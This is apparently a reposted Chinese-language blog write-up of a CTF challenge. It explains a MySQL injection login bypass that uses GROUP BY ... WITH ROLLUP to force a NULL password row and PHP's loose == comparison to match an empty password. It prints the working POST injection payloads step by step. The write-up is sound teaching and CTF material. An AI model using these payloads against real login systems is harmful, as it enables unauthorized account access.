sql注入:rollup的使用

  if (mysql_num_rows($query) == 1)这里就过不了,说明根本没这个用户名,那么就绕过这个。

看这个post数据

 
  
uname=admin' || 1  limit 1 #&pwd=

出了 亦可赛艇! 说明成功突破第一层防线

再看这个

 
  
uname=admin' || 1  limit 1  offset 1 #&pwd=

同样 **亦可赛艇! **,这点很关键,说明里面不止一个用户,待会会用到这个。可以把offset的值改一下确认只有两个用户。


接下来就是如何绕过pwd了,其实就是一个关键字 with rollup 他经常和group by搭配,用来统计。使用了with rollup数据会多一列,显示统计信息。

不妨直接贴出答案我们来分析一下:

 
  
uname=ads' || 1 group by pwd with rollup limit 1 offset 2 #&pwd=

  • group by pwd 是按照pwd来分组,此处是为了搭配 with rollup使用
  • with rollup 统计pwd组的信息,这里没用任何统计函数(sum,avg...),多出的那一行的pwd列只能是NULL所以到目前取出的的数据类似这样:

 
  
+-------+-------+
| uname | pwd   |
+-------+-------+
| usr1  | ***** |
| usr2  | ***** |
| usr2  | NULL  |
+-------+-------+

  • 然后是limit 1 offset 2 就是天过前连个,只用第三个数据。

那么最终取出的数据就是这样了

 
  
+-------+-------+
| uname | pwd   |
+-------+-------+
| usr2  | NULL  |
+-------+-------+

最后看这里$key['pwd'] == $_POST['pwd']用的是 ==,根据弱类型,NULL和空字符串是相等的,这就是为何我们不给pwd穿参的原因。

参考:https://raz0r.name/other/phdays-2013-ctf-blade-writeup/

猜你喜欢

转载自blog.csdn.net/qq_25987491/article/details/79991626